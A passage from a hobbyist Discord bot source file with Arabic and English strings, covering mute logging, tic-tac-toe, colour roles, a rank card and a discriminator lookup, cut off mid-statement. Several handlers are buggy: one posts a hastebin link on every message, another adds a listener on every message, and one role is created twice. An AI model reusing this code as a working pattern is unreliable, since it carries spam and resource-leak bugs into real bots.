  2294. let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}` || `log`);
  2295. if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
  2296. incidentchannel.sendEmbed(embed2)
  2297. });
  2298. });
  2299. }
  2300. });
  2301.  
  2302. /*
  2303. البكجآت
  2304. npm install discord.js
  2305. npm install ytdl-core
  2306. npm install get-youtube-id
  2307. npm install youtube-info
  2308. npm install simple-youtube-api
  2309. npm install queue
  2310. */
  2311.  
  2312. client.on('ready', () => {
  2313. console.log(`Logged in as ${client.user.tag}!`);
  2314. console.log(`in ${client.guilds.size} servers `)
  2315. console.log(`[ ] ${client.users.size}`)
  2316. client.user.setStatus("idle")
  2317. });
  2318. client.on('ready', () => {
  2319. client.user.setGame(`>help | v2.65`,'https://www.twitch.tv/discordssdsds');
  2320.  
  2321. });
  2322.  
  2323.  
  2324.  
  2325.  
  2326.  
  2327. client.on('message', async message =>{
  2328. if (message.author.boss) return;
  2329. if (!message.content.startsWith(prefix)) return;
  2330. let command = message.content.split(" ")[0];
  2331. command = command.slice(prefix.length);
  2332. let args = message.content.split(" ").slice(1);
  2333. if (message.content === ">mute") {
  2334. if (!message.channel.guild) return;
  2335. if(!message.guild.member(message.author).hasPermission("MANAGE_MESSAGES")) return message.reply("You Dont Have Permissions To Do That :x:").then(msg => msg.delete(5000));
  2336. if(!message.guild.member(client.user).hasPermission("MANAGE_MESSAGES")) return message.reply("I Dont Have Permissions To Do That :x:").then(msg => msg.delete(5000));;
  2337. let user = message.mentions.users.first();
  2338. let muteRole = message.guild.roles.find("name", "Muted");
  2339. if (!muteRole) return message.reply("**I Cant Find Muted Role **").then(msg => {msg.delete(5000)});
  2340. if (message.mentions.users.size < 1) return message.reply('**Mention Someone**').then(msg => {msg.delete(5000)});
  2341. let reason = message.content.split(" ").slice(2).join(" ");
  2342. if(!reason) reason = "Null";
  2343. message.guild.member(user).addRole(muteRole);
  2344. let muteEmbed = new Discord.RichEmbed()
  2345. .setTitle(`New Perm Muted User`)
  2346. .setThumbnail(message.guild.iconURL)
  2347. .addField('- Muted By:',message.author,true)
  2348. .addField('- Muted User:', `${user}`)
  2349. .addField('- Reason:',reason,true)
  2350. .setFooter("?????????? ??????")
  2351. let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
  2352. if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
  2353. incidentchannel.sendEmbed(muteEmbed)
  2354. user.send(`**You Are has been permanently muted in ${message.guild.name} reason: ${reason}**`)
  2355. }})
  2356.  
  2357. client.on("message", message => {
  2358. if (message.content === ">support") {
  2359. message.channel.send(":white_check_mark: I've DMed you with my support server");
  2360. const embed = new Discord.RichEmbed()
  2361. .setColor("RANDOM")
  2362. .setFooter('© ?????????? ?????? جميع الحقوق محفوظة 2018 لــبوت')
  2363. .addField('سيرفر الدعم الفني', `https://discord.gg/eHV24X`)
  2364. message.author.send({embed});
  2365. }
  2366. });
  2367.  
  2368.  
  2369. client.on('message' , message => {
  2370. var prefix = ">";
  2371. if(message.author.bot) return;
  2372.  
  2373. if(message.content.startsWith(prefix + "xo")) {
  2374. let array_of_mentions = message.mentions.users.array();
  2375. let symbols = [':o:', ':heavy_multiplication_x:']
  2376. var grid_message;
  2377.  
  2378. if (array_of_mentions.length == 1 || array_of_mentions.length == 2) {
  2379. let random1 = Math.floor(Math.random() * (1 - 0 + 1)) + 0;
  2380. let random2 = Math.abs(random1 - 1);
  2381. if (array_of_mentions.length == 1) {
  2382. random1 = 0;
  2383. random2 = 0;
  2384. }
  2385. let player1_id = array_of_mentions[random1].id;
  2386. let player2_id = array_of_mentions[random2].id;
  2387. var turn_id = player1_id;
  2388. var symbol = symbols[0];
  2389. let initial_message = `مباراة بين <@${player1_id}> و <@${player2_id}>!`;
  2390. if (player1_id == player2_id) {
  2391. initial_message += '\n_(من الخاسر, انت تلعب هذا الدور مع نفسك :joy:)_'
  2392. }
  2393. message.channel.send(`xo! ${initial_message}`)
  2394. .then(console.log("Successful tictactoe introduction"))
  2395. .catch(console.error);
  2396. message.channel.send(':one::two::three:' + '\n' +
  2397. ':four::five::six:' + '\n' +
  2398. ':seven::eight::nine:')
  2399. .then((new_message) => {
  2400. grid_message = new_message;
  2401. })
  2402. .then(console.log("Successful xo game initialization"))
  2403. .catch(console.error);
  2404. message.channel.send('يتم تحميل... انتظر الريئاكشن :ok:')
  2405. .then(async (new_message) => {
  2406. await new_message.react('1?');
  2407. await new_message.react('2?');
  2408. await new_message.react('3?');
  2409. await new_message.react('4?');
  2410. await new_message.react('5?');
  2411. await new_message.react('6?');
  2412. await new_message.react('7?');
  2413. await new_message.react('8?');
  2414. await new_message.react('9?');
  2415. await new_message.react('??');
  2416. await new_message.edit(`انه دور <@${turn_id}> علامتك هي${symbol}`)
  2417. .then((new_new_message) => {
  2418. require('./alpha.js')(client, message, new_new_message, player1_id, player2_id, turn_id, symbol, symbols, grid_message);
  2419. })
  2420. .then(console.log("Successful xo listener initialization"))
  2421. .catch(console.error);
  2422. })
  2423. .then(console.log("Successful xo react initialization"))
  2424. .catch(console.error);
  2425. }
  2426. else {
  2427. message.reply(`_مهلا مهلا_ :anger: \`(استعمل هذا: ${prefix}xo @player1 @player2)\``)
  2428. .then(console.log("Successful error reply"))
  2429. .catch(console.error);
  2430. }
  2431. }
  2432. });
  2433. client.on('message', message => {
  2434. let args = message.content.split(' ').slice(1);
  2435. if(message.content.split(' ')[0] == '>color'){
  2436. const embedd = new Discord.RichEmbed()
  2437. .setFooter('Requested by '+message.author.username, message.author.avatarURL)
  2438. .setDescription(`**لا يوجد لون بهذا الأسم ** :x: `)
  2439. .setColor(`ff0000`)
  2440.  
  2441. if(!isNaN(args) && args.length > 0)
  2442.  
  2443.  
  2444. if (!(message.guild.roles.find("name",`${args}`))) return message.channel.sendEmbed(embedd);
  2445.  
  2446.  
  2447. var a = message.guild.roles.find("name",`${args}`)
  2448. if(!a)return;
  2449. const embed = new Discord.RichEmbed()
  2450.  
  2451. .setFooter('Requested by '+message.author.username, message.author.avatarURL)
  2452. .setDescription(`**Done , تم تغير لونك . :white_check_mark: **`)
  2453.  
  2454. .setColor(`${a.hexColor}`)
  2455. message.channel.sendEmbed(embed);
  2456. if (!args)return;
  2457. setInterval(function(){})
  2458. let count = 0;
  2459. let ecount = 0;
  2460. for(let x = 1; x < 201; x++){
  2461.  
  2462. message.member.removeRole(message.guild.roles.find("name",`${x}`))
  2463.  
  2464. }
  2465. message.member.addRole(message.guild.roles.find("name",`${args}`));
  2466.  
  2467.  
  2468. }
  2469. });
  2470.  
  2471.  
  2472. client.on('message', message => {
  2473. if (message.content.startsWith(">botinfo")) {
  2474. message.channel.send({
  2475. embed: new Discord.RichEmbed()
  2476. .setAuthor(client.user.username,client.user.avatarURL)
  2477. .setThumbnail(client.user.avatarURL)
  2478. .setColor('RANDOM')
  2479. .setTitle('``INFO ?????????? ??????`` ')
  2480. .addField('``My Ping``' , [`${Date.now() - message.createdTimestamp}` + 'MS'], true)
  2481. .addField('``servers``', [client.guilds.size], true)
  2482. .addField('``channels``' , `[ ${client.channels.size} ]` , true)
  2483. .addField('``Users``' ,`[ ${client.users.size} ]` , true)
  2484. .addField('``My Name``' , `[ ${client.user.tag} ]` , true)
  2485. .addField('``My ID``' , `[ ${client.user.id} ]` , true)
  2486. .addField('``My Prefix``' , `[ > ]` , true)
  2487. .addField('``My Language``' , `[ JavaScript ]` , true)
  2488. .addField('``Bot Version``' , `[ v0.1 ]` , true)
  2489. .setFooter('By | <@429972030092476437>')
  2490. })
  2491. }
  2492. });
  2493.  
  2494. const hastebins = require('hastebin-gen');
  2495. client.on('message', message => {
  2496. var PREFIX = '>';
  2497. if(message.content.startsWith(PREFIX + 'discrim')) {
  2498. var args = message.content.split(' ').slice(1).join(' ');
  2499. if(!args) return message.reply('Please Type The Discrim Tag')
  2500. }
  2501. var array = [];
  2502. var i = 0;
  2503. if(args){
  2504. client.users.filter(u => u.discriminator == args).map(u => {
  2505. if(i > 4){
  2506. return;
  2507. }
  2508. i = i + 1;
  2509.  
  2510. array.push(`${u.tag}`);
  2511. });
  2512. }
  2513. hastebins(`${array.slice(0, 30).join('\n')}`, 'txt').then(l => {
  2514. message.channel.send(`${l}`);
  2515. }).catch(console.error);
  2516. });
  2517. client.on('message' , message => {
  2518. var PREFIX = '>';
  2519. if(message.content === `${PREFIX}discrim`) {
  2520. var args = message.content.split(' ').slice(1).join(' ');
  2521. if(!args) return message.reply('Please Type The Discrim Tag')
  2522. let array = [];
  2523. var i = 0;
  2524. client.users.filter(u => u.discriminator == message.author.discriminator).map(u => {
  2525. if(i > 4){
  2526. return;
  2527. }
  2528. i = i + 1;
  2529. array.push(`${u.tag}`);
  2530. });
  2531. hastebins(`${array.slice(0, 30).join('\n')}`, 'txt').then(l => {
  2532. message.channel.send(`${l}`);
  2533. }).catch(console.error);
  2534.  
  2535. }
  2536. });
  2537.  
  2538. const id = JSON.parse(fs.readFileSync("./id/rank.json", "utf8"));
  2539. client.on("message", message => {
  2540. if (message.author.bot) return;
  2541. fs.writeFile('./id/rank.json', JSON.stringify(id), (err) => {
  2542. if (err) console.error(err);
  2543. });
  2544. });
  2545. client.on('message', message => {
  2546. if(!id[message.author.id]) id[message.author.id] ={
  2547. textrank: 1,
  2548. points: 1
  2549. };
  2550. if(message.author.bot) return;
  2551. id[message.author.id].points = Math.floor(id[message.author.id].points+4);
  2552. if(id[message.author.id].points > 10) {
  2553. id[message.author.id].points = 10;
  2554. id[message.author.id].level = Math.floor(id[message.author.id].level+4);
  2555. }
  2556. fs.writeFile('./id/rank.json', JSON.stringify(id), (err) => {
  2557. if (err) console.error(err);
  2558. });
  2559.  
  2560. client.on("message", message => {
  2561. if (message.author.bot) return;
  2562. if(!message.channel.guild) return;
  2563. if (message.content.startsWith(prefix + "rank")) {
  2564. let user = message.mentions.users.first();
  2565. var human = message.mentions.users.first();
  2566. var author;
  2567. if(human) {
  2568. author = human;
  2569. } else {
  2570. author = message.author;
  2571. }
  2572. var mentionned = message.mentions.members.first();
  2573. var ah;
  2574. if(mentionned) {
  2575. ah = mentionned;
  2576. } else {
  2577. ah = message.member;
  2578. }
  2579. var ment = message.mentions.users.first();
  2580. var getvalueof;
  2581. if(ment) {
  2582. getvalueof = ment;
  2583. } else {
  2584. getvalueof = message.author;
  2585. }
  2586. var mentionned = message.mentions.users.first();
  2587.  
  2588. var client;
  2589. if(mentionned){
  2590. var client = mentionned;
  2591. } else {
  2592. var client = message.author;
  2593.  
  2594. }
  2595. if (!id[getvalueof.id]) id[getvalueof.id] = {textrank: 0,points: 1};
  2596. let Image = Canvas.Image,
  2597. canvas = new Canvas(400, 200),
  2598. ctx = canvas.getContext('2d');
  2599. fs.readFile("./id/rank.png", function (err, Background) {
  2600. if (err) return console.log(err);
  2601. let id = Canvas.Image;
  2602. let ground = new Image;
  2603. ground.src = Background;
  2604. ctx.drawImage(ground, 0, 0, 400, 200);
  2605.  
  2606. });
  2607.  
  2608.  
  2609.  
  2610. let url = getvalueof.displayAvatarURL.endsWith(".webp") ? getvalueof.displayAvatarURL.slice(5, -20) + ".png" : getvalueof.displayAvatarURL;
  2611. jimp.read(url, (err, ava) => {
  2612. if (err) return console.log(err);
  2613. ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
  2614. if (err) return console.log(err);
  2615.  
  2616. // N A M E | S H A D O W
  2617. ctx.font = 'bold 18px Arial';
  2618. ctx.fontSize = '18px';
  2619. ctx.fillStyle = "#000000";
  2620. ctx.textAlign = "center";
  2621. ctx.fillText(`${getvalueof.username}`, 253, 79);
  2622.  
  2623. // N A M E
  2624. ctx.font = 'bold 18px Arial';
  2625. ctx.fontSize = '18px';
  2626. ctx.fillStyle = "#f1f1f1";
  2627. ctx.textAlign = "center";
  2628. ctx.fillText(`${getvalueof.username}`, 253, 77);
  2629.  
  2630.  
  2631. // T E X T R A N K
  2632. ctx.font = "bold 12px Arial";
  2633. ctx.fontSize = '12px';
  2634. ctx.fillStyle = "#f1f1f1";
  2635. ctx.textAlign = "center";
  2636. ctx.fillText(`${id[getvalueof.id].textrank}`, 252, 124);
  2637.  
  2638. // P O I N T S
  2639. ctx.font = "bold 12px Arial";
  2640. ctx.fontSize = '12px';
  2641. ctx.fillStyle = "#f1f1f1";
  2642. ctx.textAlign = "center";
  2643. ctx.fillText(`${id[getvalueof.id].points}`, 253, 171);
  2644.  
  2645.  
  2646. let Avatar = Canvas.Image;
  2647. let ava = new Avatar;
  2648.  
  2649. ava.src = buf;
  2650. ctx.beginPath();
  2651. ctx.arc(75, 100, 780, 0, Math.PI*2, true);
  2652. ctx.closePath();
  2653. ctx.clip();
  2654. ctx.drawImage(ava, 26, 69, 93, 93);
  2655.  
  2656. message.channel.sendFile(canvas.toBuffer());
  2657.  
  2658. });
  2659. });
  2660. }
  2661. });
  2662. });
  2663. client.login("TOKEN");
  2664. client.on('message', message => {
  2665. if(message.content.startsWith(prefix + 'hrole')) {
  2666. if(!message.member.hasPermission('MANAGE_ROLES')) return
  2667. let role = new Discord.RichEmbed()
  2668. .setDescription(`
  2669. أمثله على الأوامر :
  2670. >role @mention rolename : لأعطاء رتبة لعضو معين
  2671. >role all rolename : لأعطاء رتبة للجميع
  2672. >role humans rolename : لأعطاء رتبة للاشخاص فقط
  2673. >role bots rolename : لأعطاء رتبة لجميع البوتات`)
  2674. .setFooter('Requested by '+message.author.username, message.author.avatarURL)
  2675. message.channel.sendEmbed(role)
  2676. }})
  2677.  
  2678. client.on('message', message => {
  2679. if(message.content.startsWith(prefix + '-hrole')) {
  2680. if(!message.member.hasPermission('MANAGE_ROLES')) return
  2681. let role = new Discord.RichEmbed()
  2682. .setDescription(`
  2683. أمثله على الأوامر :
  2684. >-role @mention rolename : لسحب رتبة لعضو معين
  2685. >-role all rolename : لسحب رتبة للجميع
  2686. >-role humans rolename : لسحب رتبة للاشخاص فقط
  2687. >-role bots rolename : لسحب رتبة لجميع البوتات`)
  2688. .setFooter('Requested by '+message.author.username, message.author.avatarURL)
  2689. message.channel.sendEmbed(role)
  2690. }})
  2691.  
  2692.  
  2693.  
  2694.  
  2695. client.on('message', msg => {//msg
  2696. if (msg.content === '>colors') {
  2697. msg.channel.send({file : "https://cdn.discordapp.com/attachments/501774006966419458/501774646467887105/colors.png"})
  2698. }
  2699. });;
  2700.  
  2701.  
  2702. client.on('message', message => {
  2703. if(message.content === prefix + 'createcolors') {
  2704. if(!message.channel.guild) return message.channel.send('**This Commnad only For Servers !**');
  2705. if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('**You Dont Have** `ADMINISTRATOR` **premission**').then(msg => msg.delete(6000))
  2706. message.guild.createRole({
  2707. name: "1",
  2708. color: "#FFB6C1",
  2709. permissions: []
  2710. })
  2711. message.guild.createRole({
  2712. name: "2",
  2713. color: "#FFC0CB",
  2714. permissions: []
  2715. })
  2716. message.guild.createRole({
  2717. name: "3",
  2718. color: "#FF69B4",
  2719. permissions: []
  2720. })
  2721. message.guild.createRole({
  2722. name: "4",
  2723. color: "#FF1493",
  2724. permissions: []
  2725. })
  2726. message.guild.createRole({
  2727. name: "5",
  2728. color: "#DB7093",
  2729. permissions: []
  2730. })
  2731. message.guild.createRole({
  2732. name: "6",
  2733. color: "#C71585",
  2734. permissions: []
  2735. })
  2736. message.guild.createRole({
  2737. name: "7",
  2738. color: "#E6E6FA",
  2739. permissions: []
  2740. })
  2741. message.guild.createRole({
  2742. name: "8",
  2743. color: "#D8BFD8",
  2744. permissions: []
  2745. })
  2746. message.guild.createRole({
  2747. name: "8",
  2748. color: "#DDA0DD",
  2749. permissions: []
  2750. })
  2751. message.guild.createRole({
  2752. name: "9",
  2753. color: "#DA70D6",
  2754. permissions: []
  2755. })
  2756. message.guild.createRole({
  2757. name: "10",
  2758. color: "#EE82EE",
  2759. permissions: []
  2760. })
  2761. message.guild.createRole({
  2762. name: "11",
  2763. color: "#FF00FF",
  2764. permissions: []
  2765. })
  2766. message.guild.createRole({
  2767. name: "12",
  2768. color: "#BA55D3",
  2769. permissions: []
  2770. })
  2771. message.guild.createRole({
  2772. name: "13",
  2773. color: "#9932CC",
  2774. permissions: []
  2775. })
  2776. message.guild.createRole({
  2777. name: "14",
  2778. color: "#9400D3",
  2779. permissions: []
  2780. })
  2781. message.guild.createRole({
  2782. name: "15",
  2783. color: "#8A2BE2",
  2784. permissions: []
  2785. })
  2786. message.guild.createRole({
  2787. name: "16",
  2788. color: "#8B008B",
  2789. permissions: []
  2790. })
  2791. message.guild.createRole({
  2792. name: "17",
  2793. color: "#800080",
  2794. permissions: []
  2795. })
  2796. message.guild.createRole({
  2797. name: "18",
  2798. color: "#9370DB",
  2799. permissions: []
  2800. })
  2801. message.guild.createRole({
  2802. name: "19",
  2803. color: "#7B68EE",
  2804. permissions: []
  2805. })
  2806. message.guild.createRole({
  2807. name: "20",
  2808. color: "#6A5ACD",
  2809. permissions: []
  2810. })
  2811. message.guild.createRole({
  2812. name: "21",
  2813. color: "#483D8B",
  2814. permissions: []
  2815. })
  2816. message.guild.createRole({
  2817. name: "22",
  2818. color: "#663399",
  2819. permissions: []
  2820. })
  2821. message.guild.createRole({
  2822. name: "23",
  2823. color: "#4B0082",
  2824. permissions: []
  2825. })
  2826. message.guild.createRole({
  2827. name: "24",
  2828. color: "#FFA07A",
  2829. permissions: []
  2830. })
  2831. message.guild.createRole({
  2832. name: "25",
  2833. color: "#FA8072",
  2834. permissions: []
  2835. })
  2836. message.guild.createRole({
  2837. name: "26",
  2838. color: "#E9967A",
  2839. permissions: []
  2840. })
  2841. message.guild.createRole({
  2842. name: "27",
  2843. color: "#F08080",
  2844. permissions: []
  2845. })
  2846. message.guild.createRole({
  2847. name: "28",
  2848. color: "#CD5C5C",
  2849. permissions: []
  2850. })
  2851. message.guild.createRole({
  2852. name: "29",
  2853. color: "#DC143C",
  2854. permissions: []
  2855. })
  2856. message.guild.createRole({
  2857. name: "30",
  2858. color: " #FF0000",
  2859. permissions: []
  2860. })
  2861. message.guild.createRole({
  2862. name: "31",
  2863. color: "#B22222",
  2864. permissions: []
  2865. })
  2866. message.guild.createRole({
  2867. name: "32",
  2868. color: "#8B0000",
  2869. permissions: []
  2870. })
  2871. message.guild.createRole({
  2872. name: "33",
  2873. color: "#FFA500",
  2874. permissions: []
  2875. })
  2876. message.guild.createRole({
  2877. name: "34",
  2878. color: "#FF8C00",
  2879. permissions: []
  2880. })
  2881. message.guild.createRole({
  2882. name: "35",
  2883. color: "#FF7F50",
  2884. permissions: []
  2885. })
  2886. message.guild.createRole({
  2887. name: "36",
  2888. color: "#FF6347",
  2889. permissions: []
  2890. })
  2891. message.guild.createRole({
  2892. name: "37",
  2893. color: "#FF4500",
  2894. permissions: []
  2895. })
  2896. message.guild.createRole({
  2897. name: "38",
  2898. color: "#FFD700",
  2899. permissions: []
  2900. })
  2901. message.guild.createRole({
  2902. name: "39",
  2903. color: "#FFFFE0",
  2904. permissions: []
  2905. })
  2906. message.guild.createRole({
  2907. name: "40",
  2908. color: "#FFFACD",
  2909. permissions: []
  2910. })
  2911. message.guild.createRole({
  2912. name: "41",
  2913. color: "#FAFAD2",
  2914. permissions: []
  2915. })
  2916. message.guild.createRole({
  2917. name: "42",
  2918. color: " #FFEFD5",
  2919. permissions: []
  2920. })
  2921. message.guild.createRole({
  2922. name: "43",
  2923. color: "#FFE4B5",
  2924. permissions: []
  2925. })
  2926. message.guild.createRole({
  2927. name: "44",
  2928. color: "#FFDAB9",
  2929. permissions: []
  2930. })
  2931. message.guild.createRole({
  2932. name: "45",
  2933. color: "#EEE8AA",
  2934. permissions: []
  2935. })
  2936. message.guild.createRole({
  2937. name: "46",
  2938. color: "#F0E68C",
  2939. permissions: []
  2940. })
  2941. message.guild.createRole({
  2942. name: "47",
  2943. color: "#BDB76B",
  2944. permissions: []
  2945. })
  2946. message.guild.createRole({
  2947. name: "48",
  2948. color: "#ADFF2F",
  2949. permissions: []
  2950. })
  2951. message.guild.createRole({
  2952. name: "49",
  2953. color: "#7FFF00",
  2954. permissions: []
  2955. })
  2956. message.guild.createRole({
  2957. name: "50",
  2958. color: "#7CFC00",
  2959. permissions: []
  2960. })
  2961. message.guild.createRole({
  2962. name: "51",
  2963. color: "#00FF00",
  2964. permissions: []
  2965. })
  2966.  
  2967. message.guild.createRole({
  2968. name: "52",
  2969. color: "#32CD32",
  2970. permissions: []
  2971. })
  2972. message.guild.createRole({
  2973. name: "53",
  2974. color: "#98FB98",
  2975. permissions: []
  2976. })
  2977. message.guild.createRole({
  2978. name: "54",
  2979. color: "#90EE90",
  2980. permissions: []
  2981. })
  2982. message.guild.createRole({
  2983. name: "55",
  2984. color: "#00FA9A",
  2985. permissions: []
  2986. })
  2987. message.guild.createRole({
  2988. name: "56",
  2989. color: "#00FF7F",
  2990. permissions: []
  2991. })
  2992. message.guild.createRole({
  2993. name: "57",
  2994. color: "#3CB371",
  2995. permissions: []
  2996. })
  2997. message.guild.createRole({
  2998. name: "58",
  2999. color: "#2E8B57",
  3000. permissions: []
  3001. })
  3002. message.guild.createRole({
  3003. name: "59",
  3004. color: "#2E8B57",
  3005. permissions: []
  3006. })
  3007. message.guild.createRole({
  3008. name: "60",
  3009. color: "#008000",
  3010. permissions: []
  3011. })
  3012. message.guild.createRole({
  3013. name: "61",
  3014. color: "#006400",
  3015. permissions: []
  3016. })
  3017. message.guild.createRole({
  3018. name: "62",
  3019. color: "#9ACD32",
  3020. permissions: []
  3021. })
  3022. message.guild.createRole({
  3023. name: "63",
  3024. color: "#6B8E23",
  3025. permissions: []
  3026. })
  3027. message.guild.createRole({
  3028. name: "64",
  3029. color: "#556B2F",
  3030. permissions: []
  3031. })
  3032. message.guild.createRole({
  3033. name: "65",
  3034. color: "#66CDAA",
  3035. permissions: []
  3036. })
  3037. message.guild.createRole({
  3038. name: "66",
  3039. color: "#8FBC8F",
  3040. permissions: []
  3041. })
  3042. message.guild.createRole({
  3043. name: "67",
  3044. color: "#20B2AA",
  3045. permissions: []
  3046. })
  3047. message.guild.createRole({
  3048. name: "68",
  3049. color: "#008B8B",
  3050. permissions: []
  3051. })
  3052. message.guild.createRole({
  3053. name: "69",
  3054. color: "#008080",
  3055. permissions: []
  3056. })
  3057. message.guild.createRole({
  3058. name: "70",
  3059. color: "#00FFFF",
  3060. permissions: []
  3061. })
  3062. message.guild.createRole({
  3063. name: "71",
  3064. color: "#E0FFFF",
  3065. permissions: []
  3066. })
  3067. message.guild.createRole({
  3068. name: "72",
  3069. color: "#AFEEEE",
  3070. permissions: []
  3071. })
  3072. message.guild.createRole({
  3073. name: "73",
  3074. color: "#7FFFD4",
  3075. permissions: []
  3076. })
  3077. message.guild.createRole({
  3078. name: "74",
  3079. color: "#40E0D0",
  3080. permissions: []
  3081. })
  3082. message.guild.createRole({
  3083. name: "75",
  3084. color: "#48D1CC",
  3085. permissions: []
  3086. })
  3087. message.guild.createRole({
  3088. name: "76",
  3089. color: "#00CED1",
  3090. permissions: []
  3091. })
  3092. message.guild.createRole({
  3093. name: "77",
  3094. color: "#5F9EA0",
  3095. permissions: []
  3096. })
  3097. message.guild.createRole({
  3098. name: "78",
  3099. color: "#4682B4",
  3100. permissions: []
  3101. })
  3102. message.guild.createRole({
  3103. name: "79",
  3104. color: "#B0C4DE",
  3105. permissions: []
  3106. })
  3107. message.guild.createRole({
  3108. name: "80",
  3109. color: "#ADD8E6",
  3110. permissions: []
  3111. })
  3112. message.guild.createRole({
  3113. name: "81",
  3114. color: "#B0E0E6",
  3115. permissions: []
  3116. })
  3117. message.guild.createRole({
  3118. name: "82",
  3119. color: "#87CEFA",
  3120. permissions: []
  3121. })
  3122. message.guild.createRole({
  3123. name: "83",
  3124. color: "#87CEEB",
  3125. permissions: []
  3126. })
  3127. message.guild.createRole({
  3128. name: "84",
  3129. color: "#6495ED",
  3130. permissions: []
  3131. })
  3132. message.guild.createRole({
  3133. name: "85",
  3134. color: "#00BFFF",
  3135. permissions: []
  3136. })
  3137. message.guild.createRole({
  3138. name: "86",
  3139. color: "#1E90FF",
  3140. permissions: []
  3141. })
  3142. message.guild.createRole({
  3143. name: "87",
  3144. color: "#4169E1",
  3145. permissions: []
  3146. })
  3147. message.guild.createRole({
  3148. name: "88",
  3149. color: "#0000FF",
  3150. permissions: []
  3151. })
  3152. message.guild.createRole({
  3153. name: "89",
  3154. color: "#0000CD",
  3155. permissions: []
  3156. })
  3157. message.guild.createRole({
  3158. name: "90",
  3159. color: "#00008B",
  3160. permissions: []
  3161. })
  3162. message.guild.createRole({
  3163. name: "91",
  3164. color: "#000080",
  3165. permissions: []
  3166. })
  3167. message.guild.createRole({
  3168. name: "92",
  3169. color: "#191970",
  3170. permissions: []
  3171. })
  3172. message.guild.createRole({
  3173. name: "93",
  3174. color: "#FFF8DC",
  3175. permissions: []
  3176. })
  3177. message.guild.createRole({
  3178. name: "94",
  3179. color: "#FFEBCD",
  3180. permissions: []
  3181. })
  3182. message.guild.createRole({
  3183. name: "95",
  3184. color: "#FFE4C4",
  3185. permissions: []
  3186. })
  3187. message.guild.createRole({
  3188. name: "96",
  3189. color: "#FFDEAD",
  3190. permissions: []
  3191. })
  3192. message.guild.createRole({
  3193. name: "97",
  3194. color: "#F5DEB3",
  3195. permissions: []
  3196. })
  3197. message.guild.createRole({
  3198. name: "98",
  3199. color: "#DEB887",
  3200. permissions: []
  3201. })
  3202. message.guild.createRole({
  3203. name: "99",
  3204. color: "#D2B48C",
  3205. permissions: []
  3206. })
  3207. message.guild.createRole({
  3208. name: "100",
  3209. color: "#BC8F8F",
  3210. permissions: []
  3211. })
  3212. message.guild.createRole({
  3213. name: "101",
  3214. color: "#F4A460",
  3215. permissions: []
  3216. })
  3217. message.guild.createRole({
  3218. name: "102",
  3219. color: "#DAA520",
  3220. permissions: []
  3221. })
  3222. message.guild.createRole({
  3223. name: "103",
  3224. color: "#B8860B",
  3225. permissions: []
  3226. })
  3227. message.guild.createRole({
  3228. name: "104",
  3229. color: "#CD853F",
  3230. permissions: []
  3231. })
  3232. message.guild.createRole({
  3233. name: "105",
  3234. color: "#D2691E",
  3235. permissions: []
  3236. })
  3237. message.guild.createRole({
  3238. name: "106",
  3239. color: "#808000",
  3240. permissions: []
  3241. })
  3242. message.guild.createRole({
  3243. name: "107",
  3244. color: "#8B4513",
  3245. permissions: []
  3246. })
  3247. message.guild.createRole({
  3248. name: "108",
  3249. color: "#A0522D",
  3250. permissions: []
  3251. })
  3252. message.guild.createRole({
  3253. name: "109",
  3254. color: "#A52A2A",
  3255. permissions: []
  3256. })
  3257. message.guild.createRole({
  3258. name: "110",
  3259. color: "#800000",
  3260. permissions: []
  3261. })
  3262. message.guild.createRole({
  3263. name: "111",
  3264. color: "#FFFFFF",
  3265. permissions: []
  3266. })
  3267. message.guild.createRole({
  3268. name: "112",
  3269. color: "#FFFAFA",
  3270. permissions: []
  3271. })
  3272. message.guild.createRole({
  3273. name: "113",
  3274. color: "#F0FFF0",
  3275. permissions: []
  3276. })
  3277. message.guild.createRole({
  3278. name: "114",
  3279. color: "#F5FFFA",
  3280. permissions: []
  3281. })
  3282. message.guild.createRole({
  3283. name: "115",
  3284. color: "#F0FFFF",
  3285. permissions: []
  3286. })
  3287. message.guild.createRole({
  3288. name: "116",
  3289. color: "#F0F8FF",
  3290. permissions: []
  3291. })
  3292. message.guild.createRole({
  3293. name: "117",
  3294. color: "#F8F8FF",
  3295. permissions: []
  3296. })
  3297. message.guild.createRole({
  3298. name: "118",
  3299. color: "#F5F5F5",
  3300. permissions: []
  3301. })
  3302. message.guild.createRole({
  3303. name: "119",
  3304. color: "#FFF5EE",
  3305. permissions: []
  3306. })
  3307. message.guild.createRole({
  3308. name: "120",
  3309. color: "#F5F5DC",
  3310. permissions: []
  3311. })
  3312. message.guild.createRole({
  3313. name: "121",
  3314. color: "#FDF5E6",
  3315. permissions: []
  3316. })
  3317. message.guild.createRole({
  3318. name: "122",
  3319. color: "#FFFAF0",
  3320. permissions: []
  3321. })
  3322. message.guild.createRole({
  3323. name: "123",
  3324. color: "#FFFFF0",
  3325. permissions: []
  3326. })
  3327. message.guild.createRole({
  3328. name: "124",
  3329. color: "#FAEBD7",
  3330. permissions: []
  3331. })
  3332. message.guild.createRole({
  3333. name: "125",
  3334. color: "#FAF0E6",
  3335. permissions: []
  3336. })
  3337. message.guild.createRole({
  3338. name: "126",
  3339. color: "#FFF0F5",
  3340. permissions: []
  3341. })
  3342. message.guild.createRole({
  3343. name: "127",
  3344. color: "#FFE4E1",
  3345. permissions: []
  3346. })
  3347. message.guild.createRole({
  3348. name: "128",
  3349. color: "#DCDCDC",
  3350. permissions: []
  3351. })
  3352. message.guild.createRole({
  3353. name: "129",
  3354. color: "#D3D3D3",
  3355. permissions: []
  3356. })
  3357. message.guild.createRole({
  3358. name: "130",
  3359. color: "#C0C0C0",
  3360. permissions: []
  3361. })
  3362. message.guild.createRole({
  3363. name: "131",
  3364. color: "#f7f7f7",
  3365. permissions: []
  3366. })
  3367. message.guild.createRole({
  3368. name: "132",
  3369. color: "#b2b2b2",
  3370. permissions: []
  3371. })
  3372. message.guild.createRole({
  3373. name: "133",
  3374. color: "#6f6c6c",
  3375. permissions: []
  3376. })
  3377. message.guild.createRole({
  3378. name: "134",
  3379. color: "#4d4646",
  3380. permissions: []
  3381. })
  3382. message.guild.createRole({
  3383. name: "135",
  3384. color: "#4c4c4c",
  3385. permissions: []
  3386. })
  3387. message.guild.createRole({
  3388. name: "136",
  3389. color: "#2F4F4F",
  3390. permissions: []
  3391. })
  3392. message.guild.createRole({
  3393. name: "137",
